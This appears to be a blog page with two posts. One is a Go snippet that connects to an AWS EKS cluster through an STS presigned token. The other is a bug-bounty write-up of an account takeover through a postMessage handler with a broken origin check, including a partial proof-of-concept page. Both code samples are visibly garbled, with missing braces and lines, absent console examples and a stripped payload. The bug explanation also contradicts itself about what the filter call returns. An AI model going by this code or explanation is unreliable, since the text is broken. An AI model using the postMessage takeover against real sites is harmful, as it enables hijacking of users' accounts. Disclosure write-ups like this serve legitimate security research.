Everything is possible

Use aws-sdk-go-v2 to link aws eks

func postDataToService(namespace, service, port, path string, data []byte) ([]byte, error) {
	const (
	    region = "xxxxx"
	    key = "xxxxx"
	    secret = "xxxxx"
	    session = "xxxxx"
	    clusterName = "xxxxx"
	cfg, err := config.LoadDefaultConfig(
		config.WithCredentialsProvider(credentials.NewStaticCredentialsProvider(key, secret, session)),
	if err != nil {
		return nil, err
	awsClient := eks.NewFromConfig(cfg)
	describeClusterOutput, err := awsClient.DescribeCluster(context.TODO(), &eks.DescribeClusterInput{
		Name: aws.String(clusterName),
	if err != nil {
		return nil, err
	preSignClient := sts.NewPresignClient(sts.NewFromConfig(cfg))
	preSignedURLRequest, err := preSignClient.PresignGetCallerIdentity(context.TODO(), &sts.GetCallerIdentityInput{}, func(preSignOptions *sts.PresignOptions) {
		preSignOptions.ClientOptions = append(preSignOptions.ClientOptions, func(stsOptions *sts.Options) {
			stsOptions.APIOptions = append(stsOptions.APIOptions, smithyhttp.SetHeaderValue("x-k8s-aws-id", clusterName))
			stsOptions.APIOptions = append(stsOptions.APIOptions, smithyhttp.SetHeaderValue("X-Amz-Expires", "60"))
	if err != nil {
		return nil, err
	bearerToken := "k8s-aws-v1." + base64.RawURLEncoding.EncodeToString([]byte(preSignedURLRequest.URL))
	ca, err := base64.StdEncoding.DecodeString(*describeClusterOutput.Cluster.CertificateAuthority.Data)
	if err != nil {
		return nil, err
	clientSet, err := kubernetes.NewForConfig(
			Host:        *describeClusterOutput.Cluster.Endpoint,
			BearerToken: bearerToken,
			TLSClientConfig: rest.TLSClientConfig{
				CAData: ca,
	if err != nil {
		return nil, err
	restClient := clientSet.RESTClient()
	return restClient.Post().Body(data).RequestURI("/api/v1/namespaces/"+ namespace +"/services/" + service + ":"+ port +"/proxy" + path).DoRaw(context.TODO())


Account takeover via postMessage

Hello everyone, I will share a simple and interesting xss completed through postMessage.
When I was looking for a site bug in a private program, I accidentally found a period javascript code, the code is as follows

t.prototype.redirectTo = function(t) {
    var e = String(t || "");
    document.location.href = e;
t.prototype.handleMessages = function(t) {
    var e = this.chatInstancesDetail.filter(function(e) {
        return e.domain.toLowerCase() === t.origin.toLowerCase()
    if (null !== e) {
        var i = document.getElementById(this.inlineChatFrameId)
          , n = i && i.parentElement;
        switch ( {
        case "inline-chat-window-minimise":
            return n && (n.classList.remove("gnatta-inline-webchat"),
            this.toggleInlineChatScrollLock(n, !1)),
            void this.cookieService.create("InlineChatIsMinimized", "true", "", 0);
        case "inline-chat-window-maximise":
            return n && (n.classList.remove("gnatta-inline-webchat-collapse"),
            this.toggleInlineChatScrollLock(n, !0)),
            void this.cookieService["delete"]("InlineChatIsMinimized", "");
        case "inline-chat-window-close":
            return this.killInlineChat(),
            n && this.toggleInlineChatScrollLock(n, !1),
            void this.cookieService["delete"]("InlineChatIsMinimized", "");
        case "window-redirect":
            return this.redirectTo(,
            void this.inlineChatSessionTrackingService.removeActiveChat()

After reading this code briefly, I found that he was listening to postMessage. Whenever I encounter the postMessage code, I always check to see if he checks the origin. This code clearly tells us that yes, he is checking the origin. All this does not seem to be a problem, but you may find that there is a problem with JavaScript. Let’s take a look at the origin check code.

var e = this.chatInstancesDetail.filter(function(e) {
    return e.domain.toLowerCase() === t.origin.toLowerCase()
if (null !== e) {//...}

Through observation I found that this.chatInstancesDetail is an array, and the Array.prototype.filter method always returns an array. If you run the following code in the console


Will output 1. If the conditions are not met, the following code is listed


Will output undefined, followed by a judgment statement if (null !== e) {//...}. In the javascript world, == and === are not the same. Such as null==undefined and null===undefined, their results are different, which also leads to if judgment always being true. So this detection code is meaningless, any domain name can communicate with it. After this, I simply constructed a poc, the code is as follows

<!DOCTYPE html>
    <title>xss via postMessage</title>
    <a href="javascript:attack()">click me start attack</a>
    <script type="text/javascript">
        var ctx,interval,payload;
                alert('Hello '+email+' your password will be changed to: '+password);
        function attack(){
        function sendPayload(){

After running the poc, you can successfully modify the victim’s password.
Finally, thank you for reading


  1. Submit Report (Oct 25th)
  2. Hackerone staff changed the status to Triaged (Oct 26th)
  3. The program responds for the first time (Nov 1st)
  4. Rewarded $1,500 (Nov 1st)